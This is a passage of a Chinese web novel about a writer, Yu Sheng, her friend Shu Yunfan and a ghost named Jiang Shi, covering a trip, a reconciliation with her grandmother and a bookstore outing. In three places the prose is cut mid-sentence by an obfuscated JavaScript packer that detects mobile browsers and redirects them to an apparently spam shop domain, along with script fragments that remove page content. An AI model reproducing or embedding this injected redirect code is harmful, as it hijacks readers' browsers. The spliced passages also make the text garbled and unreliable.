“你承诺过的,都会记得这么清楚吗?” 走廊顶灯的光短暂地涌进房间内,又被隔绝,再次和房间的光相接是在三十分钟后,喻声帮江时找好电影后没多停留,回自己的房间去了。 她找的是一部轻喜剧,两个身份悬殊的人因缘邂逅,从互看不顺眼到暗生情愫,男主经历了很长一段时间内心的矛盾纠结后决定顺从情感,勇敢表白,虽然后面仍有挫折阻拦,但最终还是成就了一段幸福浪漫的爱情。 江时对看什么类型的电影没有意见,只是在听喻声说之前卡文的时候很经常反反复复看这一部电影找灵感后,就按下她想继续翻找电影的手,把她手中的遥控器接了过来,说自己看这个就行。 喻声离开后,江时靠着坐在床上,手中转着遥控器,眼睛看着电影,耳朵听着台词,可画面和声音没一处能把他从被喻声占据的思绪中拉扯出来。 不仅喻声记得清楚,他也记得清楚,清楚她的每个回答—— “只要你不是自己想走,你可以一直待在我身边。” “承诺过的当然就要记得啊。” 他没怎么感受过爱,存在世间一百多年,也不知道爱具体是怎么样的,看多了喻声写的文章后,也渐渐从她的笔下情节中间接明白了爱是什么。 爱是你开始觉得某个人变得珍重。 爱是你开始觉得拥有了属于自己的星星。 但他很笨,时至今日,还有很多不懂的。 看文时,有个很拗口的名词他没法理解,喻声告诉他,感官会将记忆和情感绑定,在她笔下,这种情感通常是爱。 在他听到她即使反应慢半拍仍坚定的答案,闻到雪的味道,看到她瞳孔里他的影子代替拍立得上的他出现时,他终于把一切都记得清楚、再理清。 很拗口的名词叫普鲁斯特效应。 他的听觉、嗅觉、视觉、记忆,都在表达爱。 替他暂时不敢说出口的话表达爱。 远远不止这些。 江时敛下眼,电视机莹莹发出的光照着他堪堪浮现的念头—— 他终于。 也开始拥有了属于自己的星星。 一颗很珍重的星星。 他和喻声说,人并非只能拥有一颗星星,可对于他自己而言,他没法把多颗星星放在一起衡量。 他只会拥有一颗星星。 独一无二的、找寻了一百年的、在他这里完完全全属于他的。 - 喻声离开江时的房间往自己房间走时,刚好和出了电梯往房间走的舒云繁迎面撞上。 喻声的视线从舒云繁脸上转移到她手中提的一整袋啤酒上,舒云繁的视线则从喻声脸上转移到房间门口放着的炸物外卖上。 舒云繁说:“我记得你上楼时说今晚还没喝到酒。” 喻声也说:“我记得你上楼时说今晚喝了个水饱,肚子还是觉得空空如也的。” 两人再一对视,都扑哧笑作一团。 舒云繁笑着解释:“可惜实在没有找到卖热红酒的,我们只能将就喝啤酒了。” “我也是,外卖是你走后我才点的,时间太晚了,攻略上那家你想吃的特色烧烤店关门了,只能吃点炸串了。”喻声弯腰捡起地上的外卖袋子,倚在墙上等舒云繁把房间门打开,“不过——” 舒云繁摁下门把手,拧开,侧身进房间,补充着喻声未说完的话:“不过这样就很好。” 不尽如人意也很好。 小满胜万全。 喻声笑着应了声对。 房间的中央是床,左侧是卫生间,除此之外也就电视机下贴着墙的一长条桌子,但坐那吃饭喝酒也挺无趣,最后一合计,直接拉开窗帘靠着床边席地而坐,啤酒和食物摆了一地,就着夜景开启两人的夜聊时间。 外套脱掉,暖气打开,喻声和舒云繁屈腿披着同一条毯子坐在一起,在跋山涉水从东宜背来的小音箱舒缓的轻音乐声中用指尖用力扣开易拉罐的拉环,咣地一声碰杯,再一猛喝,把所有晃动产生的泡沫压进喉咙里,鲜少喝酒的两人都被巨大一口辣得眯眼,开心从眼尾被挤了出来,被编进了音乐里。 这样仿佛连时钟都停摆的时刻太过珍贵。 不知不觉间半瓶啤酒下肚。 酒精最能撬开人的牙关,舒云繁手支着脑袋,问喻声相不相信一见钟情。 喻声笑,举起易拉罐又跟舒云繁碰了下杯,在她怔愣着没喝时叉了块炸鸡塞进她嘴里,说:“我信不信不重要,你信就足够了。” 见舒云繁还是没懂,喻声眉眼弯弯地提醒她:“我都把剩下的拍立得全留给你了,还跟我打哑谜呢。” 虽然喻声一直在安慰小姑娘,但她的头还是摇成了拨浪鼓,双马尾是拨浪鼓两侧的小弹丸,说什么也不再继续拍了。 倒也不好再为难她。 只能重新寻人。 络绎的游客中,舒云繁一眼就相中了一个男生,和喻声咬耳朵时说他看起来就很会拍,喻声笑着小声反问她是从哪里悟出的这一点,舒云繁扬扬眉说直觉,撒开喻声的手就蹦上前询问能不能帮个忙。 “他确实拍得不错。”喻声点评,叉子拐了个弯又叉起一块炸鸡送进了自己嘴里,继续往下点评,“不过这哪里是直觉啊,就算他拍得不好你也会闭眼夸的吧。” 舒云繁哀嚎一声,手一撑站起身,从外套口袋里把所有拍立得取出来,尽数往喻声面前摆。 “所以你再挑两张走吧,我还真以为你就喜欢头一张呢。” 喻声笑着把所有拍立得一股脑地推还给舒云繁。 “我刚跟你开玩笑呢,我是真就喜欢头一张。” 拍照技术的好坏太过主观,能不能拍到想要的才是客观的。 即使那张拍立得上喻声想要的是否存在也是由她主观判断的,但终究和剩下的那几张拍立得有所不同。 “那你要到那个男生的联系方式了吗?” 喻声问。 “篝火晚会那会儿就要到了。”舒云繁答,“我要多给他发点消息,让他习惯我的存在。” “俗话说得好,温水煮青蛙。”她笑眯眯,“毕竟习惯可是新感情的开始啊。” 习惯是新感情的开始吗? 喻声怔住。 蓦然一声振响,房间没开灯,地板上有新消息的手机屏幕亮得突兀,喻声放下手中的易拉罐,俯身摸过手机查看。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16373078|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>脑海中浮现的名字就这么飘啊飘,降落在屏幕上。 一念即达。 江时:「下次有空。」 江时:「再一起看星星吧。」 喻声笑了一下:「好。」 她往窗外望了一眼。 房间楼层挺高,一览无余,能看到对面山上的树,竟有几棵没被雪覆盖住,和她今晚坐在树下想的一样,在夜色中,在月光下,也能透出她喜欢的、葱郁的绿。 喻声很快收敛视线,落回聊天界面上,还没熄灭的手机屏幕上映着某张八卦的脸,喻声敲着屏幕的手指不觉一顿,她挑眉抬眼,自然地把手机关上放置一边,重新缩回毯子里,问舒云繁:“怎么这么看着我?” 舒云繁本着调侃的心思,看她一脸坦然也突然有点拿不准:“是谁啊?看你笑得这么开心。” 喻声又喝了口啤酒,想了想,郑重其事:“是个鬼。” 舒云繁:“……?” “声声啊。”她犹豫着问,“这是不是我第一次听到你说脏话?” 喻声一愣,才反应过来,她连连摆手,笑得整个人往床上仰,手中握着的啤酒瓶差点不稳。 “不是说脏话。”喻声不知道怎么介绍江时,“以后有机会,再介绍你们认识吧。” “行啊。”舒云繁被她的笑声感染,自己也笑出声,“我怎么感觉你没喝多少就开始有点醉了啊。” “嗯。”喻声头枕在床沿,声音很轻,“这次是真喝醉了。” 舒云繁恍惚想起喻声生病那次。 那天晚上,她们俩也是这么挨着坐,清粥小菜就着喝没喝酒的话题讨论半天,并非感性,却也突然觉得那日的幸福就这么如水一般淌到了今日。 她稍微扯开了点毯子避免沾到食物,拿起叉子在外卖盒里拨了拨,终于找到了个饺子,叉着咬了一口,味道比那天要好太多。 哪里好太多呢? 舒云繁自己也说不清。 “那次就不是真喝醉了?” “不是,那次说的话都是清醒下说的。” “比如?” “比如我还欠着你一顿大餐呢。” 舒云繁很快就知道不清醒下说的话、做的事是怎么样的了。 喻声挣扎着坐直身体,把早已喝空的啤酒瓶随意丢在一旁,手在地上摸索着,半天找不到想要的,她泄气般地把头仰倒在床沿,又吃痛弹回,才发现找了半天的手机被她随手扔在了床上。 顾不得揉头,喻声解锁手机,不吭声地滑动半天,旁边的舒云繁一脸疑惑凑上前,倒转的手机界面也很好辨认,是某个外卖软件的商家页。 “……你要干嘛?” “请你吃大餐啊。” “……”舒云繁伸手把屏幕盖住,试图阻止,“我们地上这些还没吃完呢。” 喻声瞥了一眼地面,整个人往后挪,连带着手机也和舒云繁的掌心错开距离,她十分执拗地摇头:“不够,说好的是大餐的。” 舒云繁的手僵在半空,她无奈:“那你就当我已经吃了好不好?” “那不行。”喝醉了的脑袋简直迟钝,喻声费力地想了想,“我今晚刚答应了别人,只要是承诺就要记得,并且做到的。” 舒云繁来了兴趣:“今晚?是刚刚发信息的那个吗?” 怎么能指望醉鬼记得发信息的是哪个,执拗的醉鬼只记得自己做过的承诺:“就舒舒打电话前,不是问我能不能别不要你吗,我答应了呀。” 舒云繁:“……!” 在巨大的瓜面前,怎么突然觉得自己一见钟情根本不算个事啊。 舒云繁在持续宕机中,那头的喻声已经噼里啪啦点好了一堆东西,她乖巧地放下手机,拍了拍舒云繁的肩头,留下一句“你要好好吃哦”就沉沉睡去,把舒云繁所有的疑问都一并拦截。 ——怎么拦截得住啊。 完全没断片的喻声默默地想。 她刚醒,天空鱼肚白,地上一片狼籍,糖水碗、锡纸盒、奶茶杯、还有个不知道哪里出现的八英寸蛋糕,糖水浸泡过的水果部分被洗劫一空,剩下些白花花的奶油,映着旁边显然一夜未睡的舒云繁的脸更加阴恻恻的。 “醒了?可以老实交待了吧?” 喻声:“……” 16. 100岁 舒云繁并非爱窥探隐私的人,顶多是怕喻声被人哄骗,往深了说,也就多了点八卦心而已。 但多的这点八卦心,居然能让她撑着一晚上不睡,只为等喻声醒后听到第一手消息。 这种坚持精神完全吾辈楷模。 在她的炯炯目光注视下,喻声只好投降:“是昨晚给我发信息的那个。” 没头没尾的。 但说的人和听的人都懂。 “我就说嘛,我的直觉还是有点用的。”舒云繁闻言满意地点点头,没再追问,说起其他的,“你昨晚给我点了好多吃的,都没吃完,你饿了吗?送到时间距离现在也不长,都还能吃。” 喻声笑,倒没想到她转移话题会转移得这么快:“不再接着问下去吗?” “不需要问啊。”舒云繁挨着靠枕,没抬头,在地上的食物堆里挑挑拣拣,语调上扬,“你昨晚不是说了吗,以后有机会,会介绍我和他认识的,我等就好了。” “声声。”她说,“未来的事情就留到未来再说吧,美好的当下不需要去思考任何未来的事情。” 舒云繁知道有些事情不是不说而是不到时机说,她这话虽然用处不太恰当,但很符合当下来临山旅游的心境。 比起去追问更多,不如沿着公路线,骑着电动车欢呼,去追一场日出,舒云繁被冷风吹傻,哼了一路的歌到最后完全变调只剩哆嗦,喻声笑得车都走不了直线,一眨眼,抬头看,是层层堆叠的漂亮晚霞。 说什么心情受天气影响,明明是天气随心情而变化。 公路线如此长,弯弯绕绕载着他们去到更远的地方。询问当地人哪家店算是比较正宗的临山特色美食,结果问到的是老板,他不遗余力地强烈推荐自己的店,装潢朴素,口味独特,吃一口后三个人全面露难色。 舒云繁还好,喻声还是第一次看到舒云霁这么直白地将“在隐忍中”四个字挂在脸上,不难想象自己脸上估计也是同样的精彩。 一旁的江时将他们的反应尽收眼底,笑到前仰后合,眼睛泪润过的亮,脸颊飞过晚霞的红。笑声只有喻声能听到,她一边嫌弃太难吃皱眉,一边又忍不住跟着笑,只好举起酒杯假装喝酒掩盖滑稽的表情。 好在酒还不错。 酒杯碰撞叮当响,和江时消息发来的提示音高度重合,在无法和他对话的当下,换了另一种传讯方式牵动心脏。 好像又喝醉了。 老板推荐特产和推荐特色美食一样的不靠谱,他从后厨摸出两个苹果信誓旦旦地说临山的苹果真和别处的不一样。 舒云繁小声说你刚刚骗人进你店里时也是这么说的,还有哪有人出来旅游背着三箱苹果当特产飞回去啊。 但出乎意料的,苹果确实脆甜,汁水饱满,最后商量着变成一箱三个人分,多出来的特产份额换成了手工木雕、风景冰箱贴和各类补品,喻声还另买了支祈过福的笔,想回去时走一趟福利院送给福珠。 ——其实舒云繁的话也挺恰当的。 喻声想。 大概是知道未来还在那里等着,总有一天会抵达,但自己终究不属于临山,明明是近在咫尺的现实,却明白它只是个薄雾一样的、马上会被结束的梦境。 临山的生态好,动物多成群,马、羊、牛、小狗等等,散步时难免遇到,加快步伐踏着雪想去亲近,一转身,薄雾尽散去,脚下是柿子树的落叶,又是日常生活,一日一日在重复上演。 叹气声也在重复着上演。 喻声玩了好几天,回东宜后就被ddl追着跑,好几天晚上都靠舒云繁家超市里的三明治支撑着胃,此刻也不例外,她直接搬了电脑来,陪舒云繁在收银台坐着。 有只鬼被遗忘在角落,但他很大度,表明有精神食粮可以吃也不错,但喻声还是给他留了物质食粮,不过是一次性留了一整天的。 江时忍俊不禁,在喻声抵达超市后发了消息来:「看来你更大度啊。」 喻声:「谢谢夸奖啊。」 喻声:「精神食粮没那么快做好,得看我思路顺畅程度。」 江时:「是我要谢谢你。」 江时:「不急,随时恭候着。」 天色渐晚,在舒云繁叹今天第八百遍气中喻声把三明治囫囵吃完,在光标闪动中敲下最后一行字。 大功告成。 工作终于紧赶慢赶地结束,她做了两手转发,一手给了单主,一手给了江时,才把电脑合上,摸摸膝盖上一直躺着睡觉的豆乳,好整以暇,问舒云繁。 “今天和心动男嘉宾的聊天不顺利吗?” “今天哪有聊天啊。”舒云繁颓在收银台上,忿忿,“心动男嘉宾被特色烧烤拐跑了,到现在还没回我消息。” “特色烧烤?” “就是我们想去但排队的人太多最后没去成的那家啊,我的胃和我的心都留在临山了,人居然回东宜了。” 喻声把从临山带回来直到现在仅剩的一个苹果推到舒云繁面前:“吃了吧,我刚洗过的,至少还有临山苹果陪你回东宜。” 舒云繁长叹一声,接过苹果,撂下一句:“还是我的心动女嘉宾对我好啊。” 喻声被逗笑,刚想说她贫嘴,玻璃门却被推开,进来的顾客给话题按下了暂停键,正巧电话铃声的播放键被打开,喻声把豆乳轻轻抱进脚边的睡垫里,朝着去替顾客找东西的舒云繁扬了扬手机,示意她要出去接个电话。 特产跋山涉水去往棉城,春华女士的电话紧接着跋山涉水来到东宜。 “生生啊,怎么又给奶奶寄了这么多东西?” “不多,难得去一趟临山。”喻声笑,缓着声音,“春华女士,明明很开心,怎么不先说句开心?” “还学会打趣奶奶了是吧。” 喻声停顿。 “不是打趣,是提前贿赂。” 王春华惊奇:“我有什么好贿赂的?你想要什么不就一句话的事?” “奶奶,明年中秋,我们一起去看爸爸吧。” 有些话一旦说出口就没有收回的余地。 「有些话一旦说出口就没有收回的余地。」 这句话被喻声编进了刚刚写好的文的结尾里。 一目十行的江时很快回了信息:「只要不是冲动,就没有收回的必要。」 不知道是在说文中的女主角,还是在说她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16387962|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但喻声想,冲动也是有的。 有时候说话做事是需要一点冲动的,接通电话前,她犹豫着不知道怎么说,长久以来对父亲的死亡保持缄默状态已经成为了她和春华女士的相同习惯,接通电话后,她甚至有点退缩,想着要不只聊特产的事就行—— 直到她稍作停顿,而后抬眼,隔着流动的车,看到了街对面的江时。 身与身的距离很短,堪堪两条小路的宽度,连他低头发信息时的动作都清晰可见; 可心灵距离却很长,他只是静静地立在那,嘴角漾开的那一刻,喻声就开始闻到几千里远的雪的味道。 临山的雪、星星、树下、围巾、拍立得,全都未经同意地出现,把她从头到尾仔仔细细缠上一遍。 话不知道怎么就自动冒了出来。 最终只能迫不得已,把这一切归结于冲动。 幸好冲动过后,也没有收回的必要,春华女士在长久沉默过后问喻声:“生生,奶奶是不是一直都做错了?” 心脏钝痛。 眼泪突然间汹涌,把喻声的脸泡皱。 她无声摇头,忘记电话那头的春华女士看不见。 “你爸爸走得太早,你又太小,是奶奶做错了,一直以为我们生生还是当初那个小不点,忘记她已经长大,能做很多奶奶做不到的事了。” “生生,奶奶很开心。” 说着开心,却有极低的啜泣声,她说了很多,断断续续的,喻声思绪很混乱,直至最后,只剩一句重复很多遍的话尤为清晰,“奶奶等你回来。” 江时在喻声接电话时发来的消息终于在她挂断电话后被她看见。 「辛苦了。」 三个字,三千斤重。 曾经她也以为说出来会很辛苦,可明明春华女士比她辛苦得多,在失去一个儿子的同时仍需照顾着明明长大、能做很多事情,却依旧幼稚不懂事的孙女,三千斤的重量全压在了春华女士的身上。 江时:「做得好。」 她做得一点都不好,说着听春华女士的话,不在中秋的时候回棉城,可只有她自己才知道,她何尝不是懦弱的、沉默的、以这个为借口去逃避父亲去世的事实,让春华女士独自承担着一切。 江时:「等我过来。」 雪的味道越来越近。 喻声抬起泪流满面的脸。 他携着风,在极速缩短着心灵距离,车也不避,人也不避,淌过水洼,直直穿过来。 ——如果可以,把这个也归结于冲动吧。 喻声想。 她这么想,也这么做了。 喻声张开双臂,在江时走到她面前时圈住了他的腰,闭上眼,未发一言,把所有悲伤都往他怀里倾吐。 喻声能感受到怀里人的不知所措。 倾吐得多了,人就轻得往上飘,所幸他终于有所回应,伸手虚拢住了她的肩,下巴缓缓地,一点一点地往她头顶上蹭,似是安慰。 良久后,他温声开口。 “我知道的,我都知道。” 东宜,21°,局部多云。 超市门口,11°,大雾,大雪,黄色预警。 17. 100岁 散步的建议是江时提的。 顶着一张明显哭过的脸的喻声也同意。 喻声看了眼时间,超市快关门了,她索性发了信息给舒云繁。 喻声:「舒舒,我还有点事,可能没那么快能回去。」 喻声:「你等会走的时候直接锁门走就好了,不用等我,我今天的工作都搞定了,电脑放收银台那里就行,我明天再去拿。」 舒云繁很敏锐:「没什么急事吧?」 喻声:「没事,放心。」 为了不让舒云繁担心,喻声不露痕迹地换了个新话题。 喻声:「有点饿了。」 喻声:「给我多带个三明治回家喔,挂我门把手上。」 喻声:「多谢舒老板。」 喻声:「Koonyangi猫猫星星眼.jpg」 舒云繁:「遵命!」 舒云繁:「保证完成任务^_^」 “我还以为这只猫是安慰的意思。” 旁边的江时忽然说道。 喻声给舒云繁发消息的时候没避着江时,却也没想到他把聊天内容尽收眼底后说的第一句话会是这样的。 “随便用的,没有什么特别的含义。”喻声收起手机,缓步走着,问,“你这么喜欢这个表情包吗?” “嗯,喜欢。”江时说,“喜欢到刚刚想给你发一百遍。” 喻声愣了一下,随即笑:“我收到了。” “收到什么?” ——零距离那一刻,她已经收到乘以一百倍,不,乘以千倍万倍的安慰了。 喻声想,却没说。 她太擅长把话咽回去,把所有突然出现的奇怪情绪团吧团吧混为一谈再丢掉,现在也不例外。 喻声避而不答:“你怎么会突然过来?” “来看看女主角怎么样了。”江时没得到回应也不恼,他笑着说,“看来她处理得还不错,应该不需要收回的余地。” 东宜刚下过一场雨,才换来天气预报中的局部多云。 喻声没注意,踩进水洼,小型喷泉在脚下溅开,寒意一点一点漫过脚踝。 “不觉得我懦弱又自私吗?” “人不该是扁平的,都是有厚度的、有正反面的,太在乎一个人就会懦弱,总是自我批评的又怎么会自私。” “喻声,永远都要把自己放在第一位,不要因任何事情去苛责自己。辛苦了、做得好、处理得不错不是安慰,是陈述事实。” “一定要安慰的话——”江时脸上浮现很轻微的笑意,插着兜往前走,“那等会儿停下来的时候,我再补上那一百个猫猫头吧。” 猫猫头战士在此。 姓江名时。 喻声很没出息地被顺毛了。 更没出息的还在后头—— 沿着小巷走了一圈又一圈,江时见她久久不开口,他停下,转身,在公寓楼下拦住她。 “心情还是不好吗?”江时眼神飘忽,像是下定了很大的决心一般,“叫姐姐的话你就会开心一点吗?” “姐姐?” 喻声虎躯一震。 感觉自己毛都快被顺没了。 - 最后喻声还是收到了实质上的安慰。 江时:「Koonyangi猫猫星星眼.jpg」 江时:「1」 江时:「Koonyangi猫猫星星眼.jpg」 江时:「2」 江时:「Koonyangi猫猫星星眼.jpg」 江时:「3」 从“以下为新消息”一路划到最后。 不多不少,正正好一百张表情包。 不多不少,正正好两百个小红点。 很较真的一只鬼。 他还很贴心,特地挑了半夜喻声手机关机的时候发,既没有吵到她,也让她一觉醒来心情就不错。 除此之外,经过那一夜后,喻声也开始觉得散步挺舒缓身心的,再加上上次雨中奔跑暴露了她的体力后,江时老是有意无意地提醒她多出去走走,一来二去的,散步也成为了她继码字后的第二个每日必备活动。 她正把鞋往脚上套,后面的江时声音传来,懒洋洋的:“这么早就出门?不是还没到散步时间吗?” “去买本书,电子书看多了眼睛累。”喻声取了钥匙,“顺便去趟超市,家里冰箱空了。” 她拉开门口鞋柜的抽屉,本想取个口罩戴,却发现里面比冰箱还空—— 去临山前把全部一股脑地塞进行李箱里,回来时忙着赶ddl,大半个行李箱还没收拾,其中包括还待在夹层的口罩。 喻声顿了一下。 她才发觉,回来了这么多天,她居然也没想过要戴口罩出门,今天也是因为外面风太大了,想着遮一遮风才拿的。 她居然开始觉得见到陌生人变得轻松了很多。 这是为什么呢? 这是好事吗? 喻声第一次思考这个,还没想明白,就被江时的提问打断:“去豆乳家的超市吗?” 豆乳家的超市,这个表述也太奇怪了。 但一想到除了她以外也就豆乳算是他的朋友,也就觉得这种表述无可厚非了。 “不是,舒舒家超市是不卖菜的,要去个远点的超市买。” 江时催促:“那愣着干嘛?走吧。” 喻声:“……你也要去?” “煤球也需要个新的洒水壶啊。”他理所当然地说,“我要自己去挑。” 差点忘记,他还不止豆乳一个朋友,还有煤球。 而煤球,就是那个被重创过两回的小盆栽。 第三回重创大概是因为黑盆底和豆乳形成鲜明的对比,而获名“煤球”的时候。 但它现在过得挺好的,遇到了个嘴硬心软的舍友兼看护人。 所以它不用戴口罩,应该也会觉得见到陌生盆栽挺轻松的吧。 两件没怎么搭边的事情被喻声强加了因果关系,只为使她的新想法落地: 一会儿买新洒水壶的时候再买一个盆栽好了。 喻声点点头,应了声好,放弃脱鞋去行李箱里找口罩,和江时一前一后出了家门。 同样地点,同样时间,同样的人。 喻声又在书店门口见到了舒云霁。 本来她是没看到舒云霁的,但江时快走到公交站台时突然毫无征兆地擒住她的手腕往回走,她这才疑惑地往后望了一眼。 这一眼,和舒云霁的视线撞上。 舒云霁眼睛一亮,笑着抬手,打了个招呼。 这下不回打招呼也不成了。 喻声挣脱了下没成功,她下意识地晃着手指往下捞,小拇指勾住了江时的小拇指,不知为何他原本紧紧攥住的手突然松开,刚好方便喻声勾得更紧,她维持着这个姿势,拉着江时走向舒云霁。 舒云霁又打了个招呼:“好巧。” “好巧。”喻声不露痕迹地松开江时的手指,“又来买书吗?” 舒云霁:“嗯,那段时间摔了后空闲时间变多了,才看得快了点。你也来买书吗?” 喻声:“我找点参考书看看,工作用。” 舒云霁笑:“听小繁说了你的工作,很厉害,有时间一定拜读。” “拜读”两字直接把喻声架上去了。 她可以当着江时的面问她写得是不是还可以,坦然接受江时说她是“他最喜欢的作者”,但不等于她对每个人都是相同的态度,一想到舒云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16394877|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霁可能会去读她写的文章,尴尬几乎当场就要把她贯穿。 这和被叫到不熟的长辈面前表演才艺有什么区别? 想到这里,喻声慌乱,连连摆手:“我也是乱写的,这才需要多找点参考书来看看。” 又没话说了。 正如在临山那会儿,也得舒云繁在场他们俩才能多聊几句。 兴许是看出了喻声的不自在,舒云霁往侧边让了一步,从她的工作聊到了自己的工作,匆匆结束话题。 “你进去吧,我还得回医院值班,下次有空聚,再好好聊。” 喻声忙不迭点头,目送舒云霁的离去。 ——虽然不太道德,但感谢值班。 喻声想。 这一段小插曲太短,喻声尴尬过后也没再放在心上,推了玻璃门进去找书,只是目光短暂地停留在门口堆放着的折叠伞时,还是会不自觉地想起那个雨天。 同样地点,同样时间,同样的人。 就算不是雨天。 她也在想着江时。 即使此刻他就在身边。 为了赶跑奇怪的念头,喻声顺着舒云霁往下延伸,思路弯绕着,先是想到了包上的志愿者挂饰,再是想到了福珠,想到了还没送出去的特产和笔,她顺嘴问了一句。 “找个时间,一起去趟福利院吧。” 久久得不到回应,喻声从手中的书中抬起头,偏眼去寻江时。 他靠着书架,眉头紧锁着,不知道在想什么。 - 江时也不知道自己在想什么。 毫不夸张地说,他是真不待见舒云霁。 第一次偶遇时,就借着伞搭讪,搭讪未果后就换了个新招数,从相同的志愿者经历入手要到了联系方式,以退为进经他妹妹的口邀请同游,旅游过程中多次不合时宜的关心,温水煮青蛙,煮的还是他家这么漂亮的青蛙。 喻声懵懂,写了这么多爱情故事也不开窍,还以为多交了个朋友。 但江时很清楚。 从一开始,舒云霁就不是奔着交朋友来的。 当然了,他自己也不是。 旁观者清,他看得清舒云霁的心,却看不清自己的心。 这种不待见特别阴暗、特别矛盾,几乎是在遇上舒云霁那一刻就开始滋生,可他到底找不到一个合适的解决办法,所以刚才在见到舒云霁的第一反应是拉着喻声先逃走。 合适的解决办法找不到,不合适的解决办法在说话,江时思路正打结中,没听清,但还是嗯了一声。 喻声把书合上,伸手在他面前晃了晃。 “你有在听我说话吗?” “没听清,你说什么了?” “我说,我们找个时间,一起去趟福利院吧。” 这次答应得很快。 “好啊。” “你刚刚没听清,还嗯什么啊,也不怕答应了什么不该答应的。” 书店老板颇有意趣,在门上悬了两个铃铛,风一吹,抑或有人推门进来,铃铛就会叮铃作响,伴随着店里放着的音乐,一秒进入梦境。 梦境里,刚好唱到红豆里喻声喜欢的那句: “还没好好地感受, 雪花绽放的气候, 我们一起颤抖, 会更明白, 什么是温柔。” 铃铛正清脆地敲响着。 叮铃、叮铃。 心脏正沉重地鼓动着。 扑通、扑通。 江时上下启唇。 “只要是你提的,就没有什么不好答应的。” 他的声音接着下一句歌词: “有时候, 有时候, 我会相信一切有尽头。” 18. 100岁 他说的国文课经常受罚挨骂,是假的吧。 喻声不免狐疑。 他明明就很有出口成诗的天赋啊。 喻声默默地把自己手中的书一本一本对照着备忘录点好,垒成一摞,抱着去收银台付款。 江时插着兜,慢了两步跟了上去。 书店店员把每一本书都翻到后面扫条形码,扫到最后一本时,江时刚好走到收银台,他看见封面,笑着,哟了一声。 “你还读诗集呢。” 喻声:“……” 她没理睬江时,从店员手里接过一整袋书,随后眼睛弯弯小声说了谢谢,推门出去。 门上挂的铃铛还在不知疲倦地响着。 叮铃、叮铃。 - 天色渐渐暗淡,去往超市的路上,喻声多次拒绝了江时替她拿东西的建议。 江时不解:“你不觉得重吗?” 喻声瞥了他一眼:“重也好过让别人看到一袋书在我后面飘,吓到人了怎么办。” 江时:“……” 差点忘了这茬。 他嘴硬:“不是后面,是旁边。” 喻声:“……” 这是重点吗! “这不是重点啊。” 有两个穿着校服的高中生路过,男生背着斜挎包,双手抱胸; 女生晃着马尾,蓬勃少年气,手中还捧着书,她指着书上的内容对男生信誓旦旦地说,“物理老师说了,这个内容月考不会考。” 男生不以为然:“老师说不考就不是重点了?复习是为了高考又不是为了月考。” 女生气极:“你怎么强词夺理呢?其他你都没复习你就复习这个,这不是本末倒置吗?” “我又没说错,你生什么气?” “我哪里生气了?我只是觉得,你把这个知识点懂得再透彻,也不能在高考的时候一飞冲天进入东大而已。” “还说你没生气?都开始咒我了。” “……” 两人争执的声音被风裹着反方向跑,渐行渐远。 “你以前读书的时候也是这样的吗?为考试烦恼?” 江时听了一耳朵,问。 喻声闻言笑着摇头,把书袋子抱在怀里,说她基本没为考试烦恼过:“从小到大,我唯一得心应手的事估计就是读书了。” 江时来了兴趣:“你的成绩很好?” “是非常好。”喻声的脸上浮现出怀念的神色,怀念着那个可以百分百身心投入到书籍里不用想其他的时刻,“即使中途休学了半年也完全没影响,年级第一一直是我的,就这么维持了两年半的时间。” “为什么休学?” 喻声一顿,而后平静地笑了笑,学着刚刚那个女生的腔调:“这不是重点啊。” 学得一点都不像。 一个生气但轻飘飘的。 一个笑着但沉甸甸的。 喻声的微表情太难辨,江时注视着她,读不懂,却也敏锐地察觉这可能是一个锥心的话题。 她需要听众,而不是主持人,他选择缄口不言,听喻声继续讲下去。 如果可以,再掏出手机发一百个猫猫头也不难。 “看得出来吗,我之前是学理科的,虽然初衷是因为大家都说理科好就业,比文科赚钱,但我觉得学什么都行,学文科学理科我都能拿第一。”喻声说,“后来毫不意外地实现梦想,来了东宜,进了东大读书,还学的是数学专业,结果却和初衷背道而驰,毕业后还是靠文字吃饭。” 说到最后,她苦着一张脸,说读了十六年的书,最后最感谢的居然是小学启蒙杂志。 “感谢文字。”江时说。 “怎么就轮到你感谢起文字来了?”喻声被江时的话逗乐,笑得弯眼,“感谢文字让你在国文课上挨揍?” “感谢文字让我多了一个——”江时面不改色,说得轻巧,“多了一个朋友啊。” “朋友?我?” “不然呢?还能真是豆乳和煤球啊。” 喻声惊奇:“你怎么知道我就是这么想的?” “……你的心思都写脸上了好吗。”江时说得勉勉强强,“好吧,非要说的话,它们俩算第二个和第三个朋友。” 喻声偏头,光在她的眼睛里流转:“要我给你介绍第四个朋友吗?” “这就是你说的,第四个朋友?” 江时挑眉,看着超市货架上陈列着的一排排盆栽,认真发问。 